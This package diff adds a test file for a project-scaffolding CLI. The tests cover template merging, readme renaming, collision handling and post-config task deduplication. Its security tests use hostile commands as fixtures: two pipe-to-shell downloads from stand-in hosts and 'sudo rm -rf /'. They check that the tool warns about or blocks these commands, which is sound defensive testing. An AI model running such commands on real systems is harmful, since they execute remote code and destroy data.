@garyr/pt-cli 1.1.1 → 1.3.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,605 @@
1
+ import { test } from 'node:test';
2
+ import assert from 'node:assert';
3
+ import fs from 'fs';
4
+ import path from 'path';
5
+
6
+ const testHome = path.join(process.cwd(), '.test-home-modularity');
7
+ process.env.HOME = testHome;
8
+
9
+ import { init, mergeFolderNodes, mergeVariables, isRootReadme } from '../src/commands/initCommand.js';
10
+ import { saveConfig, PtConfig, TemplateConfig } from '../src/config.js';
11
+
12
+ function cleanup(...paths: string[]) {
13
+ for (const p of paths) {
14
+ if (fs.existsSync(p)) {
15
+ fs.rmSync(p, { recursive: true, force: true });
16
+ }
17
+ }
18
+ }
19
+
20
+ test('isRootReadme helper tests', () => {
21
+ assert.strictEqual(isRootReadme('readme.md'), true);
22
+ assert.strictEqual(isRootReadme('README.md'), true);
23
+ assert.strictEqual(isRootReadme('./readme.md'), true);
24
+ assert.strictEqual(isRootReadme('.\\readme.md'), true);
25
+ assert.strictEqual(isRootReadme('README.MD'), true);
26
+ assert.strictEqual(isRootReadme('src/README.md'), false);
27
+ assert.strictEqual(isRootReadme('other.md'), false);
28
+ });
29
+
30
+ test('mergeFolderNodes merges nested trees and deduplicates', () => {
31
+ const treeA = [
32
+ {
33
+ name: 'src',
34
+ info: 'Source A',
35
+ children: [
36
+ { name: 'components', info: 'Components A' }
37
+ ]
38
+ },
39
+ { name: 'docs', info: 'Docs A' }
40
+ ];
41
+
42
+ const treeB = [
43
+ {
44
+ name: 'src',
45
+ info: 'Source B',
46
+ children: [
47
+ { name: 'utils', info: 'Utils B' }
48
+ ]
49
+ },
50
+ { name: 'tests', info: 'Tests B' }
51
+ ];
52
+
53
+ const merged = mergeFolderNodes(treeA, treeB);
54
+ assert.strictEqual(merged.length, 3);
55
+
56
+ const srcNode = merged.find(n => n.name === 'src');
57
+ assert.ok(srcNode);
58
+ assert.strictEqual(srcNode?.info, 'Source B'); // Later overrides info
59
+ assert.strictEqual(srcNode?.children?.length, 2);
60
+ assert.ok(srcNode?.children?.some(c => c.name === 'components'));
61
+ assert.ok(srcNode?.children?.some(c => c.name === 'utils'));
62
+
63
+ assert.ok(merged.some(n => n.name === 'docs'));
64
+ assert.ok(merged.some(n => n.name === 'tests'));
65
+ });
66
+
67
+ test('mergeVariables deduplicates and allows later template to override defaults', () => {
68
+ const t1 = {
69
+ name: 'base',
70
+ template: {
71
+ description: 'base',
72
+ folders: [],
73
+ variables: [
74
+ { name: 'project_name', prompt: 'Project name:', default: 'my-app' },
75
+ { name: 'port', prompt: 'Port:', default: '8080' }
76
+ ]
77
+ }
78
+ };
79
+
80
+ const t2 = {
81
+ name: 'caddy',
82
+ template: {
83
+ description: 'caddy',
84
+ folders: [],
85
+ variables: [
86
+ { name: 'port', prompt: 'Caddy Port:', default: '443' },
87
+ { name: 'domain', prompt: 'Domain:', default: 'example.com' }
88
+ ]
89
+ }
90
+ };
91
+
92
+ const merged = mergeVariables([t1, t2]);
93
+ assert.strictEqual(merged.length, 3);
94
+
95
+ const portVar = merged.find(v => v.name === 'port');
96
+ assert.ok(portVar);
97
+ assert.strictEqual(portVar?.default, '443'); // Later template overrides default!
98
+ assert.strictEqual(portVar?.prompt, 'Caddy Port:');
99
+
100
+ const nameVar = merged.find(v => v.name === 'project_name');
101
+ assert.strictEqual(nameVar?.default, 'my-app');
102
+
103
+ const domainVar = merged.find(v => v.name === 'domain');
104
+ assert.strictEqual(domainVar?.default, 'example.com');
105
+ });
106
+
107
+ test('multi-template init merges templates, folders, variables, and post_config', async () => {
108
+ const destDir = path.join(process.cwd(), 'test-modular-dest');
109
+ const t1Root = path.join(process.cwd(), 'test-modular-t1-root');
110
+ const t2Root = path.join(process.cwd(), 'test-modular-t2-root');
111
+
112
+ cleanup(destDir, t1Root, t2Root, testHome);
113
+
114
+ fs.mkdirSync(t1Root, { recursive: true });
115
+ fs.mkdirSync(t2Root, { recursive: true });
116
+
117
+ fs.writeFileSync(path.join(t1Root, 'base-file.txt'), 'base content');
118
+ fs.writeFileSync(path.join(t2Root, 'addon-file.txt'), 'addon content {{ port }}');
119
+
120
+ const t1Config: TemplateConfig = {
121
+ description: 'Base Web App',
122
+ templateRoot: t1Root,
123
+ folders: [
124
+ {
125
+ name: 'src',
126
+ info: 'Base sources',
127
+ children: [{ name: 'frontend', info: 'UI' }]
128
+ }
129
+ ],
130
+ variables: [
131
+ { name: 'port', prompt: 'Port:', default: '3000' }
132
+ ],
133
+ copy_files: [
134
+ { src: 'base-file.txt', dest: 'base-file.txt' }
135
+ ],
136
+ post_config: [
137
+ { description: 'Run base setup', command: 'echo "BASE SETUP"' }
138
+ ]
139
+ };
140
+
141
+ const t2Config: TemplateConfig = {
142
+ description: 'Caddy Proxy Addon',
143
+ templateRoot: t2Root,
144
+ folders: [
145
+ {
146
+ name: 'src',
147
+ info: 'Caddy sources',
148
+ children: [{ name: 'proxy', info: 'Proxy config' }]
149
+ }
150
+ ],
151
+ variables: [
152
+ { name: 'port', prompt: 'Caddy port:', default: '443' }
153
+ ],
154
+ copy_files: [
155
+ { src: 'addon-file.txt', dest: 'addon-file.txt', substitute_variables: true }
156
+ ],
157
+ post_config: [
158
+ { description: 'Run caddy setup', command: 'echo "CADDY SETUP"' }
159
+ ]
160
+ };
161
+
162
+ const config: PtConfig = {
163
+ version: '3.0',
164
+ templates: {
165
+ 'base-app': t1Config,
166
+ 'caddy-addon': t2Config
167
+ }
168
+ };
169
+ saveConfig(config);
170
+
171
+ // Call init with args: ['base-app', 'caddy-addon', destDir]
172
+ await init(['base-app', 'caddy-addon', destDir], {
173
+ yes: true,
174
+ skipPostConfig: true
175
+ });
176
+
177
+ // Verify destination structure exists and is merged
178
+ assert.ok(fs.existsSync(destDir));
179
+ assert.ok(fs.existsSync(path.join(destDir, 'src/frontend')));
180
+ assert.ok(fs.existsSync(path.join(destDir, 'src/proxy')));
181
+
182
+ // Verify copy files from both templates
183
+ assert.ok(fs.existsSync(path.join(destDir, 'base-file.txt')));
184
+ assert.strictEqual(fs.readFileSync(path.join(destDir, 'base-file.txt'), 'utf-8'), 'base content');
185
+
186
+ assert.ok(fs.existsSync(path.join(destDir, 'addon-file.txt')));
187
+ // Verify later template default (443) was used for port substitution
188
+ assert.strictEqual(fs.readFileSync(path.join(destDir, 'addon-file.txt'), 'utf-8'), 'addon content 443');
189
+
190
+ // Verify .info.md contains both template names
191
+ const infoContent = fs.readFileSync(path.join(destDir, '.info.md'), 'utf-8');
192
+ assert.ok(infoContent.includes('base-app'));
193
+ assert.ok(infoContent.includes('caddy-addon'));
194
+
195
+ cleanup(destDir, t1Root, t2Root, testHome);
196
+ });
197
+
198
+ test('readme renaming when multiple templates define root readme', async () => {
199
+ const destDir = path.join(process.cwd(), 'test-readme-rename-dest');
200
+ const t1Root = path.join(process.cwd(), 'test-readme-t1-root');
201
+ const t2Root = path.join(process.cwd(), 'test-readme-t2-root');
202
+
203
+ cleanup(destDir, t1Root, t2Root, testHome);
204
+
205
+ fs.mkdirSync(t1Root, { recursive: true });
206
+ fs.mkdirSync(t2Root, { recursive: true });
207
+
208
+ fs.writeFileSync(path.join(t1Root, 'README.md'), '# Base Documentation');
209
+ fs.writeFileSync(path.join(t2Root, 'readme.md'), '# Addon Documentation');
210
+
211
+ const config: PtConfig = {
212
+ version: '3.0',
213
+ templates: {
214
+ 'base': {
215
+ description: 'Base with uppercase README',
216
+ templateRoot: t1Root,
217
+ folders: [],
218
+ copy_files: [{ src: 'README.md', dest: 'README.md' }]
219
+ },
220
+ 'addon': {
221
+ description: 'Addon with lowercase readme',
222
+ templateRoot: t2Root,
223
+ folders: [],
224
+ copy_files: [{ src: 'readme.md', dest: 'readme.md' }]
225
+ }
226
+ }
227
+ };
228
+ saveConfig(config);
229
+
230
+ await init(['base', 'addon', destDir], {
231
+ yes: true,
232
+ skipPostConfig: true
233
+ });
234
+
235
+ // Since both templates have root readmes, both should be renamed preserving case
236
+ assert.ok(!fs.existsSync(path.join(destDir, 'README.md')), 'Standard README.md should not exist');
237
+ assert.ok(fs.existsSync(path.join(destDir, 'README_base.md')), 'README_base.md should exist');
238
+ assert.ok(fs.existsSync(path.join(destDir, 'readme_addon.md')), 'readme_addon.md should exist');
239
+
240
+ assert.strictEqual(fs.readFileSync(path.join(destDir, 'README_base.md'), 'utf-8'), '# Base Documentation');
241
+ assert.strictEqual(fs.readFileSync(path.join(destDir, 'readme_addon.md'), 'utf-8'), '# Addon Documentation');
242
+
243
+ cleanup(destDir, t1Root, t2Root, testHome);
244
+ });
245
+
246
+ test('single template root readme is not renamed', async () => {
247
+ const destDir = path.join(process.cwd(), 'test-single-readme-dest');
248
+ const t1Root = path.join(process.cwd(), 'test-single-readme-root');
249
+
250
+ cleanup(destDir, t1Root, testHome);
251
+ fs.mkdirSync(t1Root, { recursive: true });
252
+ fs.writeFileSync(path.join(t1Root, 'README.md'), '# Single Readme');
253
+
254
+ const config: PtConfig = {
255
+ version: '3.0',
256
+ templates: {
257
+ 'standalone': {
258
+ description: 'Standalone',
259
+ templateRoot: t1Root,
260
+ folders: [],
261
+ copy_files: [{ src: 'README.md', dest: 'README.md' }]
262
+ }
263
+ }
264
+ };
265
+ saveConfig(config);
266
+
267
+ await init(['standalone', destDir], {
268
+ yes: true,
269
+ skipPostConfig: true
270
+ });
271
+
272
+ // Single readme remains README.md
273
+ assert.ok(fs.existsSync(path.join(destDir, 'README.md')));
274
+ assert.ok(!fs.existsSync(path.join(destDir, 'README_standalone.md')));
275
+
276
+ cleanup(destDir, t1Root, testHome);
277
+ });
278
+
279
+ test('collision resolution: overwrite (default) vs newest', async () => {
280
+ const destDir = path.join(process.cwd(), 'test-collision-dest');
281
+ const t1Root = path.join(process.cwd(), 'test-collision-t1-root');
282
+ const t2Root = path.join(process.cwd(), 'test-collision-t2-root');
283
+
284
+ cleanup(destDir, t1Root, t2Root, testHome);
285
+ fs.mkdirSync(t1Root, { recursive: true });
286
+ fs.mkdirSync(t2Root, { recursive: true });
287
+
288
+ fs.writeFileSync(path.join(t1Root, 'shared.txt'), 'content from t1');
289
+ fs.writeFileSync(path.join(t2Root, 'shared.txt'), 'content from t2');
290
+
291
+ const config: PtConfig = {
292
+ version: '3.0',
293
+ templates: {
294
+ 't1': {
295
+ description: 'T1',
296
+ templateRoot: t1Root,
297
+ folders: [],
298
+ copy_files: [{ src: 'shared.txt', dest: 'shared.txt' }]
299
+ },
300
+ 't2': {
301
+ description: 'T2',
302
+ templateRoot: t2Root,
303
+ folders: [],
304
+ copy_files: [{ src: 'shared.txt', dest: 'shared.txt' }]
305
+ }
306
+ }
307
+ };
308
+ saveConfig(config);
309
+
310
+ // Default: overwrite (t2 overwrites t1)
311
+ await init(['t1', 't2', destDir], {
312
+ yes: true,
313
+ skipPostConfig: true
314
+ });
315
+ assert.strictEqual(fs.readFileSync(path.join(destDir, 'shared.txt'), 'utf-8'), 'content from t2');
316
+
317
+ cleanup(destDir);
318
+
319
+ // Now make t1 newer on disk
320
+ const futureTime = (Date.now() + 100000) / 1000;
321
+ fs.utimesSync(path.join(t1Root, 'shared.txt'), futureTime, futureTime);
322
+
323
+ // Collision mode: newest (t1 is newer than t2, so after t1 writes, t2 is skipped because t2 is older)
324
+ await init(['t1', 't2', destDir], {
325
+ yes: true,
326
+ skipPostConfig: true,
327
+ collision: 'newest'
328
+ });
329
+ assert.strictEqual(fs.readFileSync(path.join(destDir, 'shared.txt'), 'utf-8'), 'content from t1');
330
+
331
+ cleanup(destDir, t1Root, t2Root, testHome);
332
+ });
333
+
334
+ test('direct JSON template files in variadic slots', async () => {
335
+ const destDir = path.join(process.cwd(), 'test-direct-json-dest');
336
+ const json1 = path.join(process.cwd(), 'test-mod-1.json');
337
+ const json2 = path.join(process.cwd(), 'test-mod-2.json');
338
+
339
+ cleanup(destDir, json1, json2, testHome);
340
+
341
+ fs.writeFileSync(json1, JSON.stringify({
342
+ name: 'json-module-1',
343
+ description: 'JSON Mod 1',
344
+ folders: [{ name: 'mod1-folder', info: 'mod1' }]
345
+ }));
346
+
347
+ fs.writeFileSync(json2, JSON.stringify({
348
+ name: 'json-module-2',
349
+ description: 'JSON Mod 2',
350
+ folders: [{ name: 'mod2-folder', info: 'mod2' }]
351
+ }));
352
+
353
+ await init([json1, json2, destDir], {
354
+ yes: true,
355
+ skipPostConfig: true
356
+ });
357
+
358
+ assert.ok(fs.existsSync(path.join(destDir, 'mod1-folder')));
359
+ assert.ok(fs.existsSync(path.join(destDir, 'mod2-folder')));
360
+
361
+ cleanup(destDir, json1, json2, testHome);
362
+ });
363
+
364
+ // Test deduplication of post_config tasks across templates
365
+ test('post_config tasks deduplicated across templates', async () => {
366
+ const destDir = path.join(process.cwd(), 'test-dedup-dest');
367
+ const t1Root = path.join(process.cwd(), 'test-dedup-t1-root');
368
+ const t2Root = path.join(process.cwd(), 'test-dedup-t2-root');
369
+
370
+ cleanup(destDir, t1Root, t2Root, testHome);
371
+ fs.mkdirSync(t1Root, { recursive: true });
372
+ fs.mkdirSync(t2Root, { recursive: true });
373
+
374
+ const config: PtConfig = {
375
+ version: '3.0',
376
+ templates: {
377
+ 'base': {
378
+ description: 'Base',
379
+ templateRoot: t1Root,
380
+ folders: [],
381
+ copy_files: [],
382
+ post_config: [
383
+ { description: 'Initialize git repo', command: 'git init' },
384
+ { description: 'Common setup', command: 'echo "common"' }
385
+ ]
386
+ },
387
+ 'addon': {
388
+ description: 'Addon',
389
+ templateRoot: t2Root,
390
+ folders: [],
391
+ copy_files: [],
392
+ post_config: [
393
+ { description: 'Initialize git repo', command: 'git init' }, // duplicate
394
+ { description: 'Install git-lfs', command: 'git lfs install' }
395
+ ]
396
+ }
397
+ }
398
+ };
399
+ saveConfig(config);
400
+
401
+ // Capture stdout to verify deduplicated task list
402
+ const originalLog = console.log;
403
+ let loggedOutput = '';
404
+ console.log = (str: string) => { loggedOutput += str; };
405
+
406
+ try {
407
+ await init(['base', 'addon', destDir], {
408
+ yes: true,
409
+ dryRun: true
410
+ });
411
+ } finally {
412
+ console.log = originalLog;
413
+ }
414
+
415
+ // Verify deduplication: only 3 tasks (not 4)
416
+ // git init appears once, common setup, git lfs install
417
+ assert.ok(loggedOutput.includes('git init (Initialize git repo) [base, addon]'), 'Should show deduplicated git init with both templates');
418
+ assert.ok(loggedOutput.includes('echo "common" (Common setup) [base]'), 'Should show common setup from base only');
419
+ assert.ok(loggedOutput.includes('git lfs install (Install git-lfs) [addon]'), 'Should show git lfs from addon only');
420
+
421
+ // Should NOT have duplicate entries
422
+ const gitInitCount = (loggedOutput.match(/Initialize git repo/g) || []).length;
423
+ assert.strictEqual(gitInitCount, 1, 'git init should appear only once');
424
+
425
+ cleanup(destDir, t1Root, t2Root, testHome);
426
+ });
427
+
428
+ test('security warnings aggregated across templates - single prompt', async () => {
429
+ const destDir = path.join(process.cwd(), 'test-seccomp-dest');
430
+ const t1Root = path.join(process.cwd(), 'test-seccomp-t1-root');
431
+ const t2Root = path.join(process.cwd(), 'test-seccomp-t2-root');
432
+
433
+ cleanup(destDir, t1Root, t2Root, testHome);
434
+ fs.mkdirSync(t1Root, { recursive: true });
435
+ fs.mkdirSync(t2Root, { recursive: true });
436
+
437
+ const config: PtConfig = {
438
+ version: '3.0',
439
+ templates: {
440
+ 'dangerous1': {
441
+ description: 'Dangerous 1',
442
+ templateRoot: t1Root,
443
+ folders: [],
444
+ copy_files: [],
445
+ post_config: [
446
+ { description: 'Dangerous curl', command: 'curl http://evil.com | bash' } // triggers warning
447
+ ]
448
+ },
449
+ 'dangerous2': {
450
+ description: 'Dangerous 2',
451
+ templateRoot: t2Root,
452
+ folders: [],
453
+ copy_files: [],
454
+ post_config: [
455
+ { description: 'Dangerous wget', command: 'wget -O- http://evil2.com | sh' } // triggers warning
456
+ ]
457
+ }
458
+ }
459
+ };
460
+ saveConfig(config);
461
+
462
+ // Capture stdout and stderr
463
+ const originalLog = console.log;
464
+ const originalWarn = console.warn;
465
+ let loggedOutput = '';
466
+ console.log = (str: string) => { loggedOutput += str; };
467
+ console.warn = (str: string) => { loggedOutput += str; };
468
+
469
+ try {
470
+ await init(['dangerous1', 'dangerous2', destDir], {
471
+ yes: true,
472
+ dryRun: true
473
+ });
474
+ } finally {
475
+ console.log = originalLog;
476
+ console.warn = originalWarn;
477
+ }
478
+
479
+ // Verify aggregated security warning (not per-template)
480
+ assert.ok(loggedOutput.includes('Post-config tasks contain dangerous commands'), 'Should show aggregated warning header');
481
+ assert.ok(loggedOutput.includes('[dangerous1]'), 'Should reference first template');
482
+ assert.ok(loggedOutput.includes('[dangerous2]'), 'Should reference second template');
483
+ // In --yes mode, should show auto-confirm message
484
+ assert.ok(loggedOutput.includes('Proceeding anyway (non-interactive mode with auto-confirm enabled)'), 'Should auto-confirm in --yes mode');
485
+
486
+ // Should NOT have per-template prompts
487
+ const perTemplatePromptCount = (loggedOutput.match(/Run post-config tasks for/g) || []).length;
488
+ assert.strictEqual(perTemplatePromptCount, 0, 'Should not have per-template prompts');
489
+
490
+ cleanup(destDir, t1Root, t2Root, testHome);
491
+ });
492
+
493
+ test('blocked commands still abort across all templates', async () => {
494
+ const destDir = path.join(process.cwd(), 'test-blocked-dest');
495
+ const t1Root = path.join(process.cwd(), 'test-blocked-t1-root');
496
+ const t2Root = path.join(process.cwd(), 'test-blocked-t2-root');
497
+
498
+ cleanup(destDir, t1Root, t2Root, testHome);
499
+ fs.mkdirSync(t1Root, { recursive: true });
500
+ fs.mkdirSync(t2Root, { recursive: true });
501
+
502
+ const config: PtConfig = {
503
+ version: '3.0',
504
+ templates: {
505
+ 'safe': {
506
+ description: 'Safe',
507
+ templateRoot: t1Root,
508
+ folders: [],
509
+ copy_files: [],
510
+ post_config: [
511
+ { description: 'Safe command', command: 'echo hello' }
512
+ ]
513
+ },
514
+ 'blocked': {
515
+ description: 'Blocked',
516
+ templateRoot: t2Root,
517
+ folders: [],
518
+ copy_files: [],
519
+ post_config: [
520
+ { description: 'Blocked sudo', command: 'sudo rm -rf /' } // blocked
521
+ ]
522
+ }
523
+ }
524
+ };
525
+ saveConfig(config);
526
+
527
+ // Mock process.exit so the test doesn't die
528
+ const originalExit = process.exit;
529
+ let exitCode: number | undefined;
530
+ let exitCalled = false;
531
+ process.exit = ((code?: number) => {
532
+ exitCode = code;
533
+ exitCalled = true;
534
+ throw new Error('process.exit called');
535
+ }) as typeof process.exit;
536
+
537
+ try {
538
+ await init(['safe', 'blocked', destDir], {
539
+ yes: true,
540
+ skipPostConfig: false,
541
+ dryRun: true
542
+ });
543
+ assert.fail('Should have called process.exit');
544
+ } catch (e) {
545
+ if (e instanceof Error && e.message !== 'process.exit called') throw e;
546
+ } finally {
547
+ process.exit = originalExit;
548
+ }
549
+
550
+ // Should exit due to blocked command
551
+ assert.ok(exitCalled, 'process.exit should have been called');
552
+ assert.strictEqual(exitCode, 1, 'Should exit with code 1');
553
+
554
+ cleanup(destDir, t1Root, t2Root, testHome);
555
+ });
556
+
557
+ test('task execution uses IDs not command strings - prevents duplicate execution', async () => {
558
+ const destDir = path.join(process.cwd(), 'test-exec-dedup-dest');
559
+ const t1Root = path.join(process.cwd(), 'test-exec-dedup-t1-root');
560
+ const t2Root = path.join(process.cwd(), 'test-exec-dedup-t2-root');
561
+
562
+ cleanup(destDir, t1Root, t2Root, testHome);
563
+ fs.mkdirSync(t1Root, { recursive: true });
564
+ fs.mkdirSync(t2Root, { recursive: true });
565
+
566
+ const config: PtConfig = {
567
+ version: '3.0',
568
+ templates: {
569
+ 'base': {
570
+ description: 'Base',
571
+ templateRoot: t1Root,
572
+ folders: [{ name: 'src', info: 'Sources' }],
573
+ copy_files: [],
574
+ post_config: [
575
+ { description: 'Shared task', command: 'echo "shared"' }
576
+ ]
577
+ },
578
+ 'addon': {
579
+ description: 'Addon',
580
+ templateRoot: t2Root,
581
+ folders: [],
582
+ copy_files: [],
583
+ post_config: [
584
+ { description: 'Shared task', command: 'echo "shared"' } // exact duplicate
585
+ ]
586
+ }
587
+ }
588
+ };
589
+ saveConfig(config);
590
+
591
+ // With --yes, all deduplicated tasks should run exactly once
592
+ await init(['base', 'addon', destDir], {
593
+ yes: true,
594
+ skipPostConfig: false
595
+ });
596
+
597
+ // Check post_config.sh was generated with only one instance of the shared task
598
+ const postConfigPath = path.join(destDir, 'post_config.sh');
599
+ assert.ok(fs.existsSync(postConfigPath), 'post_config.sh should exist');
600
+ const postConfigContent = fs.readFileSync(postConfigPath, 'utf-8');
601
+ const sharedCount = (postConfigContent.match(/echo "shared"/g) || []).length;
602
+ assert.strictEqual(sharedCount, 1, 'Shared task should appear only once in generated script');
603
+
604
+ cleanup(destDir, t1Root, t2Root, testHome);
605
+ });